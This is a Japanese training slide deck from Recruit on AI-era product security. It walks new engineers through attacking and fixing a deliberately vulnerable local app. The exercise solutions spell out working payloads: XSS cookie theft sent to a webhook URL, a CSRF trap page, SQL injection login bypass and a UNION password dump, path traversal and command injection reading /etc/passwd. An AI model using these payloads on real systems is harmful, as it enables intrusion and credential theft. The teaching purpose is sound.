Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃と防御で学ぶAI時代のプロダクトセキュリティ演習

Avatar for Recruit Recruit PRO
August 05, 2026

 攻撃と防御で学ぶAI時代のプロダクトセキュリティ演習

2026年度リクルート エンジニアコース新人研修の講義資料です。

Avatar for Recruit

Recruit PRO

August 05, 2026

More Decks by Recruit

Other Decks in Technology

Transcript

  1. 講義のスケジュール 10:15 1日目 インプット 導入編(前半) AIで生成される 脆弱性を体感しよう 12:30 13:30 昼休憩

    導入編(後半) 脆弱性を知ろう 18:30 12 2日目 アウトプット チーム演習(説明) 昼休憩 12:15 13:15 チーム演習 解説・復習 6/11(木) 10:15 6/12(金) 16:30 18:30
  2. 本研修で扱う攻撃手法について 本資料で解説する攻撃手法や脆弱性に関する情報は、いずれも世の中で広く認知 されている既知の脅威であり、当社が独自に開発したものではありません。 この資料で紹介する攻撃手法は全て、OWASPにより、 注意喚起のために公開されている内容になります。 【本講座で扱う攻撃手法の出典】 OWASP Cheat Sheet Series

    ( https://cheatsheetseries.owasp.org/ ) OWASPとは? Webアプリケーションのセキュリティ向上を目的とした世界的な非営利コミュニティです。 OWASPが公開する情報は、日本の公的機関においてもセキュリティ対策の指針として参照されており、 その信頼性は広く認められています。
  3. ローカルでアプリの起動 ソースコードをダウンロードしたディレクトリで以下を入力してください $ docker compose up --build -d 「unknown flag」のエラーがでる場合は?

    Dockerが起動していない可能性があります。 Launchpad(アプリ一覧画面)から Docker Desktopアプリを 起動して再試行してください。 ✔ Check2: 3つのコンテナがStartedやHealthyになればOK (起動まで少々時間がかかります) 19
  4. (参考) AIに命令するプロンプトの例 以下の指⽰に従い、追加の実装を⾏なってください。 ``` <ここに問題⽂の全⽂を貼る> ``` 完成したアプリは、`docker compose up` により起動し、定義している各画⾯が仕様通りに動作することを確認してください。

    なお、以下の前提と制約を必ず守ってください。 - 既存のディレクトリ構成・設定ファイル(.gitignore, lint 設定, CI 設定など)は可能な限り変更せずに利⽤してください。 - 既存コードや設定の削除・⼤きな構造変更は⾏わず、必要な範囲での追加・最⼩限の修正にとどめてください。 - 外部ライブラリの追加が必要な場合は、その⽬的と候補を理由付きで提案したうえで、最⼩限のライブラリ構成にしてくださ い。 AI 実装時の禁⽌事項は以下の通りです。 - セキュリティ上のリスクが⾼い実装を⾏わないでください。 - 意図や理由を説明できない複雑なロジックの導⼊や、過度にマジックナンバーに依存する実装は避けてください。 - プロジェクトで既に採⽤しているスタイルやライブラリと明らかに異なる技術スタックを、理由なく混在させないでくださ い。 実装後は、以下の観点で⾃⼰チェックを⾏ってください。 24 - `docker compose down -v && docker compose up --build` で起動したアプリケーション上で、PROJECT_SPEC.md に記載さ れている画⾯遷移・⼊⼒パターンを⼀通り実⾏し、仕様通りに動作することを確認してください。(DBのデータも初期化して実 ⾏するためdown -vを⾏っています) - 主要なユースケースについては、可能な範囲で⾃動テスト(ユニットテストまたは E2E テスト)を追加し、テストが成功する ことを確認してください。 - ⽣成したコードの役割・意図・前提条件が分かるよう、必要に応じてコメントや README への追記を⾏ってください。
  5. 演習1: 複数冊購入での割引 ‒ 問題の進め方 (20分) 1. Cursorに仕様書をコピペしてプロンプトを作り、そのまま動くコードを書 いてもらいましょう 2. 生成されたアプリを起動して、追加指示通りの動作をすることを確認しま

    しょう 3. 【発展】実装内容に不備がないか考えてみましょう。また、問題があれ ば、修正方法を考えてみましょう ※ 既存の仕様が適切でない場合は、エンドポイントの入出力の仕様は壊さな い範囲で、実装内容を変更しても構いません 28
  6. 演習1[ヒント]: 複数冊購入での割引 ‒ 不備を見つけるためのヒント (+10分) • 追加指示書だけでなく、既存の基本設計書やコードも参考にしましょう • 価格はどのような設定になっているでしょうか? •

    実装が仕様通りかだけでなく、その仕様でそもそも良いのかも 考えてみましょう • この割引キャンペーンは、何を目的に行われるのでしょうか? 29
  7. 演習2:「在庫数」による購入制限の撤廃 ‒ 問題の進め方 (20分) 1. Cursorに仕様書をコピペしてプロンプトを作り、そのまま動くコードを書 いてもらいましょう 2. 生成されたアプリを起動して、追加指示通りの動作をすることを確認しま しょう

    3. 【発展】実装内容に不備がないか考えてみましょう。また、問題があれ ば、修正方法を考えてみましょう ※ 既存の仕様が適切でない場合は、エンドポイントの入出力の仕様は壊さな い範囲で、実装内容を変更しても構いません 40
  8. 演習2[解説]: AIはなぜ脆弱なコードを作ってしまったの? 演習解説 その変更により既存の処理にどんな影響が生じるかの考慮が不足していたため。 PurchaseService.java の purchase関数部分 (修正前) 指示 「在庫の機能を削除してください」

    削除済み 直前のコードが変更の影響を考慮せず削除されたため、 quantityの値が大きい際に脆弱性が発生するようになった AIの動き 在庫の機能を削除できた! 45 実行終了
  9. 脆弱性に気づくには、どうすればいいでしょうか? 先ほど、脆弱性を見つけるための2つの要素を学びました 一歩外側までの思考 例 • 既存の処理への影響を考える • 何のために作るか考える 普段の意識でできる 55

    脆弱性の知識 例 • 数値の桁溢れによる計算エラー 知らないと対策できない! この研修では、 このあと「脆弱性の知識」を中心に学んでいきます
  10. (参考) ローカルでの起動手順 vulnmarkerをダウンロードしたディレクトリで以下を入力してください $ docker compose up --build -d 「unknown

    flag」のエラーがでる場合は? Dockerが起動していない可能性があります。 Launchpad(アプリ一覧画面)から Docker Desktopアプリを 起動して再試行してください。 ✔ Check3: 3つのコンテナがStartedになればOK (起動まで少々時間がかかります) 68
  11. (参考) 環境を再起動したいとき ソースコードを修正し、修正後の挙動を試したい場合は vulnmarkerをダウンロードしたディレクトリで以下2つのコマンドを入力します。 1. コンテナを終了 $ docker compose down

    2. コンテナを起動 $ docker compose up ‒d --build ※ docker compose restart コマンドでは再ビルドがされないため、 こちらの手順で再起動してください 70
  12. 演習2:XSSを悪用した攻撃 (実施時間: 20分) 2-1. 検索の入力欄に<script>alert("1")</script>を入力して何が起こるかを確認 してみましょう 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように

    細工してみましょう 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう ヒント1: Cookie受取には、Appendix. 1のwebhook.siteを利用 ヒント2: JS上ではdocument.cookieでCookieの値を取得可能 73
  13. 演習解説 演習解説:XSSを悪用した攻撃 2-1. 検索の入力欄に<script>alert()</script>を入力して何が起こるかを確認し てみましょう ① http://localhost:5000/posts/search にアクセス ② <script>alert("1")</script>を入力

    ③ 検索ボタンを押すと ポップアップが出現 この脆弱性を応用すると…? <script></script>の中身を書き換えると、 ブラウザ上で任意のJavaScriptが実行できる! 74
  14. 演習解説 演習解説:XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【なぜポップアップが出てしまったのか】 ① 2-1. の画面で command +

    option + i を押し、開発者ツールを開く ② Networkタブを選択する ④ Typeがdocumentの通信を選択する ③ 2-1.の画面上の更新ボタンを押す ※ 他のファイルは、jsやcssであり、固定の内容のファイル (静的なファイル)と思われるためdocumentを見る 75
  15. 演習解説 演習解説:XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【ソースコード中から原因を特定】 ⑧ ⑦で判明した情報をもとに /posts/search への GETリクエストを検索

    ⑧ 発見したソースコードを読み、ユーザーの入力からレスポンスまでの処理の流れを調査 a. ⑥で確認したリクエストパラメータ からurlの値を取得 b. ユーザーから受け取ったurlを messageに格納 c. reply.view() にてmessageを受け取り search.ejsを用いて ブラウザに返すレスポンスを作成する 78
  16. 演習解説 演習解説:XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【ソースコード中から原因を特定】 messageを「<%- %>」で囲っている ⑨ ⑧でレスポンス作成に用いられていた search.ejsを開き、処理を調査

    ⑩ このタグの意味をejsの公式ドキュメントより調査 <%- は、エスケープ処理をせずに出力するもの この脆弱性の発生原因は…? 79 ユーザーから受け取った入力値を エスケープ処理せずレスポンスに出力していること!
  17. 演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【まずは 2-1. と同様の方法を試す】 ① http://localhost:5000/profile

    にアクセス ④ 自分の自己紹介ページにアクセス ⑤ スクリプトが実行されないことを確認 ② <script>alert("1")</script>を入力 80 ③ プロフィールを更新
  18. 演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【スクリプトが実行されない原因を調査】 ⑥ ⑤の画面で command +

    option + i を押し、開発者ツールを開く ⑦ Networkタブを選択し、⑤の画面から更新 ⑧ typeがdocumentの通信を選択する ⑨ Responseタブを選択する タグがエスケープ(無害化)されている 81
  19. 演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう HTMLソースだと無害化されているのに、通常のタグとして認識されている原因は、スクリプトにあるはず ⑫ ⑨の画面からHTMLソースのスクリプト部分を調査 b. 文中にURLがあれば<a>タグにする処理

    URLや改行文字の変換処理であり <script>タグの変換には関係なさそう c. 空白の削除や改行を<br>タグにする処理 a.自己紹介のHTML要素からテキストを textContent で取得し、 processUserSelfIntroduction()を実行 83 d. innerHTMLを用いて処理結果を自己紹介のHTML要素に設定 値の取得や設定の処理で 暗示的にタグの変換がされる可能性
  20. 演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【textContentとinnerHTMLの挙動を調査】 ⑬ 以下のHTMLを適当な場所に保存 <!DOCTYPE html>

    <html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <div id="test">&lt;a href=&quot;https://example.com&quot;&gt;テス ト&lt;/a&gt;</div> </body></html> ⑭ 開発者ツールでConsoleタブを開く ⑮ let element = document.getElementById('test'); を入力 ⑯ element.textContent;を入力 ⑬ 保存場所のパスを開く &lt;や&quot;ではなく、アンエスケープされた文字列が取得されている → textContent ではエスケープ文字は アンエスケープされて取得される 84
  21. 演習解説 演習解説:XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう ⑱ ブラウザの表示がリンクに置き換わったことを確認 ⑰ element.innerHTML =

    element.textContent; を⼊⼒ → innerHTMLでは入力値が HTML要素として設定される つまり要素の内容をtextContentで取得し、その値をinnerHTMLで設定すると…? 85 エスケープが解除されHTMLタグが読み込まれる!
  22. 演習解説 演習解説:XSSを悪用した攻撃 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 【XSSコードの実行を実験】 ⑥ http://localhost:5000/posts/search にアクセス ⑨

    ①の画面にリクエストが表示されることを確認 ⑧ 検索ボタンを押す ⑦ 以下のコードを入力 <script>fetch( "<⑤でコピーしたURL>?data=" + document.cookie )</script> Cookieの内容が取得できている 89
  23. このようなXSSの脆弱性は、なにが原因で発生するの? 外部からの入力に対して、適切な無害化処理が行われておらず、スクリプト などを含む入力がそのままブラウザで解釈されてしまうため ユーザーの入力がそのまま代入される → 危険なコードを差し込まれうる note 実装例1: <img onload="ユーザーの入力">

    実装例2: document.body.innerHTML = "ユーザーの入力" 実装例3: document.write("ユーザーの入力") jQueryのjQuery.append() や React.jsのdangerouslySetInnerHTML など Web UIを操作するためのライブラリでも、一部無害化処理が行われない場合があるため注意。 97
  24. 演習解説 演習解説:IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 【投稿の流れの確認】 ① http://localhost:5000/posts にアクセス ② 適当な投稿を作成し投稿

    ④ 編集内容を入力し✔マークを押す ③ 自分の投稿の編集ボタンを押す ⑤ 編集内容が反映される 他人の投稿を編集するためには? 100 ④→⑤ の間に行われる操作を、他人に対して行いたい
  25. 演習解説 演習解説:IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ④ Proxyタブを開く ⑤ Open browserを押す

    ⑥ ブラウザが開くので http://localhost:5000/posts にアクセス ⑦ アクセス時に以下のような表示が出た場合は 許可を選択 106
  26. 演習解説 演習解説:IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ⑧ ⑥のブラウザで3-1の①〜③までの手順を行う ⑨ Intercept off

    ボタンを押し、onにする ⑪ ⑨の画面に⑩の操作により送信されるリクエストが表示される ⑩ 投稿ボタンを押す /posts/:idへのPOSTリクエスト 日本語はエンコードされているけど本文に見える 107
  27. 演習解説 演習解説:IDORを悪用した攻撃 【Burp Suiteの補足: リクエストの履歴確認方法】 ⑯ BurpSuiteの画面でHTTP historyを選択 ⑰ #を押し、降順に並べる

    ⑱ 適当なリクエストをクリック BurpSuiteから開いたブラウザで発生した通信が 全て記録されています! そのリクエストやレスポンスの 通信内容が表示される この機能は何に使うの? あとからブラウザでの通信内容を確認するため ブラウザの開発者ツールと違い ページが遷移しても連続して保存されるので便利 109 →以降はBurpsuiteのブラウザの使用を前提として進めます
  28. IDORの原理 投稿ごとにIDを割り当ててサーバー側で識別 編集対象の投稿をリクエスト時にIDで指定 ID: 1の投稿を更新するリクエスト POST /posts/1 Aさんが自身の 投稿(ID: 1)を更新

    comment=今日はいい天気☀ ID: 2の投稿を更新するリクエスト POST /posts/2 攻撃者が自身の 投稿(ID: 2)を更新 112 comment=こんにちは! 投稿1 Aさん 「今日はいい天気☀」 投稿2 攻撃者 「こんにちは」
  29. IDORの原理 投稿1 Aさん 「私はお金持ちです!」 ID: 2の投稿を更新するリクエスト 投稿2 POST /posts/1 攻撃者が自身の

    投稿(ID: 2)を更新 113 comment=私はお金持ちです! 他人の投稿IDに 変更して更新 攻撃者 「こんにちは」
  30. 演習解説 演習4:CSRFを悪用した攻撃 (実施時間: 20分) 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください ④ BurpSuiteで②の操作の際のリクエストを確認すると、/leaveリクエストがある ⑤

    適当なユーザーを作成し、http://localhost:5000/leave にアクセス そのまま /login ページにリダイレクト この処理だけで削除が行われていそう Cookieのセッションでユーザーを識別 117 ⑥ ログインの失敗を確認 → 4-1の回答は http://localhost:5000/leave
  31. 演習解説 演習4:CSRFを悪用した攻撃 (実施時間: 20分) 4-3. 【発展】サービスにログイン中の他のユーザーが開くだけで、意図し ない投稿をさせられる罠ページを作ってみましょう ① 以下のHTMLを test.html

    として適当な場所に保存 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <form action="http://localhost:5000/posts" method="post" id="x"> <input type="hidden" name="url" value="https://recruit.co.jp"> <input type="hidden" name="comment" value="意図しない投稿"> </form> <script> window.x.submit() </script> </body> </html> ② ①の保存先ディレクトリでターミナルを起動し、 python3 ‒m http.server 8000 を実行 119 ③ http://localhost:8000/test.htmlにアクセス ④ 遷移先のページで意図しない投稿を確認できる
  32. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります) 5-2.

    パスワードを知らないadminユーザーでログインしてみましょう 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある 16:45まで 123
  33. 演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります)

    エラーの出る箇所は、以下の2箇所でした。 ログインページ http://localhost:5000/login ① いずれかに「'」を入力 検索ページ http://localhost:5000/posts/search ① いずれかに「'」を入力 ② ログイン ③ SQLエラーが表示される 124 ③ SQLエラーが表示される ② 検索
  34. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります)

    検索ページ (http://localhost:5000/login) の原因箇所 ① ソースコードを /login で検索しエンドポイントの実装を確認 ② DBの処理と思われる実装を確認。ユーザの入力値を そのままSQLクエリ内に代入している部分を発見 125
  35. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう(複数箇所あります)

    検索ページ (http://localhost:5000/posts/search) の原因箇所 ① ソースコードを /posts/search で検索しエンドポイントの実装を確認 ② DBの処理と思われるselectPostsの実装を確認 (VSCodeであれば Command + 関数名をクリック) 126 ③ selectPosts関数を調査し、ユーザの入力値をそのまま SQLクエリ内に代入している部分を発見
  36. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-2. パスワードを知らないadminユーザーでログインしてみましょう 5-1で調査したソースコードより、赤字の部分に 任意の文字列を差し込めることがわかる

    passwordの一致判定の部分が 常に条件を満たすようにすればログインできる SELECT id, username, password FROM users WHERE username = '<username>' AND password = '<password>' SELECT id, username, password FROM users ▶ WHERE username = 'admin' AND password = '' OR 1=1 #' 「password = ''」 は真でなくても、 「1=1」は必ず真なので、 「password = '' OR 1=1」は必ず真 127
  37. 演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-2. パスワードを知らないadminユーザーでログインしてみましょう ① ログインページ

    http://localhost:5000/login にアクセス ⑤ 適当な投稿を行う ② ユーザー名に admin を入力 ③ パスワードに ' OR 1=1 # を入力 ④ ログイン 128 ⑥ adminとして 投稿されたことを確認
  38. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1:

    UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある 5-1で調査したソースコードより、赤字の部分に 任意の文字列を差し込めることがわかる (urlのみを入力した場合) SELECT id, comment, <中略> FROM posts LEFT JOIN users <中略> WHERE urls.url LIKE '%<入力可能>%' ORDER BY posts.created̲at DESC 129 ← usersテーブル自体は読み込まれている ←ここで何らかの形でpasswordカラムを 取得するようにしたい 演習解説
  39. 演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう

    ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある ヒントを元にUNION句の活用を考えると、 5-1で調査したソースコードより このクエリは12個のカラムが必要とわかる このカラムの中で検索結果として表示される部分に usernameとpasswordの組み合わせを表示するクエリを作る %' UNION SELECT ▶ 1, password,1,username,1,1,1,1,1,1,1,1 FROM users; # comment の部分に、password username の部分に、username その他はカラム数の一致のため1で埋める comment username 130 表示に使うカラムは画面上に表示される要素から適当に選択
  40. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう

    ① 検索ページ http://localhost:5000/posts/search にアクセス ② いずれかに以下のクエリを入力 ③ 検索 %' UNION SELECT 1, password,1,username,1,1,1,1,1,1,1,1 FROM users; # 131 ④ 通常の検索結果の後までスクロールすると、 全員のusernameとpasswordが表示されている UNIONにより 元の検索結果にパスワードの行が追加された!
  41. SQL Injectionの原理 ユーザーの入力を利用するSQLクエリ SELECT * FROM users WHERE comment LIKE

    '%ユーザーの入力%' 「'」で囲われた部分は文字列として解釈 134
  42. SQL Injectionの原理 ユーザーの入力を利用するSQLクエリ SELECT * FROM users WHERE comment LIKE

    '%ユーザーの入力%' 「'」で囲われた部分は文字列として解釈 ユーザーの入力の途中に「'」が含まれていたら・・・? SELECT * FROM users WHERE comment LIKE '%' UNION SELECT * FROM users;-- '%' ここで文字列としては終わり 文字列ではない部分として解釈される 好きなクエリ文を追記できる 135
  43. SQL Injectionによる攻撃例 情報漏えい UNION句を利用してレスポンスから情報取得 Blind SQL Injection 条件式を利用したエラー応答から情報取得する Error-based SQL

    Injection 条件式を利用したSLEEPから情報取得する Time-based SQL Injection DoS SLEEP句の利用による処理の遅延 利用しているDBサーバーの種類や権限によっては、任意コード実行やファイル読み取りも可能に 136
  44. 演習解説 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 6-1. サーバーに設置されたファイルをダウンロードする処理が含まれるエ ンドポイントをソースコード中から探してみましょう ①

    「fastify.get」でソースコード中を文字列検索 ③ ファイルをダウンロードする処理であることを確認 ② 名前からファイル関連と思われる /uploads を選択 特定のファイルを取得 fastifyでエンドポイントが管理されている ダウンロード処理は取得なのでGETの可能性が高い 139 ファイルを送信
  45. 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 演習解説 6-2.ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう ①

    ダウンロードの際にどのファイルパスを参照しているか調査 filePathの後半部分は 「path」クエリパラメータでユーザーが設定可能 filePathにあるファイルを取得している → パスの後半を変更により /etc/passwd にアクセスする方法を考える 140
  46. 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 演習解説 6-2.ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう パスの後半部分の変更で任意のパスにアクセスするにはどうすればいいの?

    1つ上の階層に戻る「..」ディレクトリを活用し ルートディレクトリまで上がった上で好きなディレクトリを指定すれば良い ② http://localhost:5000/uploads?path=../../../../../../../../../../../../etc/passwd にアクセス ④ 以下のようなテキストファイルが取得できていることを確認 ③ ダウンロードされたファイルを開く 141
  47. 演習7: OS Command Injectionを悪用した攻撃 (実施時間: 20分) 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう 7-2.

    ソースコードを参照して7-1.でのエラーが起きた原因をソースコードから探 してみましょう 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探 してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2:ls>&2 で出力を標準エラーに流すことができます 151
  48. 演習7: OS Command Injectionを悪用した攻撃 演習解説 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう ⑧ Interceptをoffにする

    ⑦ Forwardする ⑨ ブラウザにコマンド実行のエラーが表示される ⑥ リクエスト内のwidthの項目の値を「|ls|」に変更 コマンド実行時のエラーメッセージが表示されるということは? リクエストを書き換えてOSコマンドを実行できる場合 エラーに出力すれば実行結果を読み取れる! 153
  49. 演習解説 演習7: OS Command Injectionを悪用した攻撃 7-2. ソースコードを参照して7-1.でのエラーが起きた原因をソースコードから探 してみましょう 今回の入力の入り口である POST

    /profile リクエストから辿っていきましょう ① ソースコードからPOSTの/profileリクエストを検索 ②エンドポイントの実装を調査(つづき) ②エンドポイントの実装を調査 フォームから入力した情報が同名の変数に代入 154 exec(OSコマンドを実行する関数)の中で widthやheightの変数が使われている → OSで実行されるコマンドの中に 任意のコードを入力できる状態
  50. 演習7: OS Command Injectionを悪用した攻撃 演習解説 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2:ls>&2

    で出力を標準エラーに流すことができます 【コマンドを実行する方法】 7-2.で調査したソースコードより、赤字の部分に任意の文字列を差し込めることがわかる convert ${tmpSavePath} -gravity center -resize <width>x<height>^ -crop 1:1 ${savePath} ▶ 7-1. で分かった、エラー出力が閲覧できることも踏まえると以下が有効 convert ${tmpSavePath} -gravity center -resize | 実⾏したいコマンド >&2 | x^ -crop 1:1 ${savePath} 155
  51. 演習解説 演習7: OS Command Injectionを悪用した攻撃 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2:ls>&2

    で出力を標準エラーに流すことができます 【実行の例】 7-1. の手順⑨にて、 実行したコマンドの内容が表示される 7-1. と同様に進め、手順⑥で | cat /etc/passwd >&2 | を入力 156
  52. OS Command Injectionの原理 コマンドを実行する際の一部の値にユーザーの入力を利用する実装 Linuxでシェル機能を有効にしたコマンド実行の場合(例:child̲process.exec) シェルスクリプトの構文が利用できる convert input.png -gravity center

    -resize 200xユーザーの入力値^ -crop 1:1 output.png |を含めた「ユーザーの入力値」を指定すると・・・ convert input.png -gravity center -resize 200x|ls|^ -crop 1:1 output.png 1つ目のコマンド 2つ目のコマンド 3つ目のコマンド ユーザーの指定したコマンドが実行されてしまう 159
  53. OS Command Injectionの実装例 コマンドを実行する関数にユーザー入力を利用するケース (文字列結合など) 160 PHP: system("ユーザーの入力") exec("ユーザーの入力") passthru("ユーザーの入力")

    Java: Runtime.getRuntime().exec("ユーザーの入力") Node.js: child̲process.spawn("ユーザーの入力") child̲process.exec("ユーザーの入力") Ruby: exec("ユーザーの入力") system("ユーザーの入力")
  54. 問題について ü付与ポイントは下記の通りです attack: 問題により100-200 pts [点数が低い問題ほど簡単になっています] defense(一部問題のみ): 適切な修正が行われている場合: 100 pts

    修正が不完全な場合: 50 pts 正しく動かない場合: 0 pts üChallengeごとに番号が振られていますがどの順番で解いても構いません üChallenge内のattackやdefenseにも解くべき順番に指定はありません ü各問題でその問題が解けたチーム数を確認できます 多くのチームが解けた問題の方が難易度が低いかもしれません ü問題が難しいと思ったら無理せず別の問題を解いてみましょう 171
  55. チュートリアル問題(攻撃編):Flagの場所の確認 まずはソースコード中からフラグが表示される場所を探す Docker Composeの設定ファイル 1. Docker Composeの設定ファイルに FLAG環境変数が定義されていることを確認 POINT: 基本的にどの問題も環境変数でフラグを定義しているので

    何から始めてよいか分からない時はフラグから逆算するのがおすすめ。 FLAG環境変数が定義 (これはダミーのフラグ。実際のサーバーに は本物のフラグが入っている) fortune/compose.yaml DBの初期データを作成する関数 2. DBの初期データを作成する処理で usersテーブルにおいてadminユーザーを作成し flagカラムにFLAG環境変数を登録していることを確認 178 usersテーブルにadminユーザーを作成 flagカラムにFLAG環境変数の内容を登録 fortune/src/database/seeders/UserSeeder.php
  56. Check 4: チュートリアル問題(防御編): ローカル上での動作確認 1. fortune の問題のあるディレクトリで、以下のDocker Composeコマンドを入力 $ docker

    compose up ‒d --build 問題サーバーをローカル環境(自分のPC上)で起動 2. http://localhost:8000 にアクセスし、 Check2と同様にユーザー登録やマイページの表示が可能なことを確認 ログイン画⾯ マイページ ✔マイページの画面が表示できればOK 187
  57. 参考: コードの修正 [AIを使わずにやる場合] user̲idをログイン時にセッションに保存し、参照時はセッションから取得するように修正する。 具体的には、Userクラスの以下2点を修正。 ユーザーID取得処理: get̲login̲user̲id() セッションからuser̲idを取得するように変更 ユーザーID取得時にCookieからuser̲idを読み取っている ログイン処理:

    login() UserControllerでのUser::login()の呼び出し fortune/src/app/Http/Controllers/UserController.php セッションにuser̲idを保存するように変更 user̲idをCookieに保存している 返り値がCookieに保存されている 190 fortune/src/app/Http/Controllers/UserController.php fortune/src/app/Http/Controllers/User.php ✔ 上記2箇所のコードが修正できたらOK
  58. Check 6: ローカル上での動作確認: ローカル上での動作確認 1. Check 3 で 動作させたコンテナを終了 $

    docker compose down 2. コンテナを再起動 $ docker compose up ‒d --build ※ docker compose restart コマンドでは再ビルドがされないため、 こちらの手順で再起動してください 3. http://localhost:8000 にアクセスし、以下2点を確認 • ユーザー登録やマイページの表示が可能なこと • Cookieのuser̲idを変えてもマイページの表示に変化がないこと ✔ 上記2箇所のコードが修正できたらOK 191
  59. Check 7: チュートリアル問題(防御編): 修正の提出 bootcamp-review ワークフローにて採点依頼を行ってください ①各チームのチャンネルにて、 Slackのメッセージ入力部分に /bootcamp-review を途中まで入力すると

    ワークフローが表示されるのでクリックします ②採点依頼の入力フォームが出るので 問題名を選択して送信してください。 ③送信すると「依頼しました」というメッセージが表示されます。 しばらくすると採点者がこのスレッドに採点結果をお返しします。 mainブランチのみが採点対象であることに注意してください ✔ 修正を提出できたらOK! 後は講師の採点をお待ちください
  60. Appendix 2. curlコマンドの使い方 ターミナルからHTTPリクエストを送信できるツール # Cookieヘッダを設定してリクエスト $ curl -H 'Cookie:

    user̲id=1' http://localhost:8000/ # フォームの送信 $ curl -X POST -d 'param=1&param2=hoge' http://example.com/ # ファイルをアップロード $ curl -X POST -F upfile=@/path/to/sample.txt http://example.com/upload 202
  61. Appendix 2. curlコマンドの使い方 PythonのHTTPクライアントライブラリ $ python3 -m pip install requests

    import requests r = requests.get('http://example.com') print(r.text) r = requests.post('http://example.com', data={'param1': 'value1'}, headers={'Cookie': 'hoge=fuga'}) print(r.text) 203
  62. Appendix 3. Chrome開発者ツールの使い方 Option + Command + I で起動 「ソース」タブ

    現在のページの表示に必要な HTML、JS、CSSを閲覧できる JSの場合には行番号をクリックす ることでブレークポイントを設置 して各変数の値などを確認可能 204
  63. 208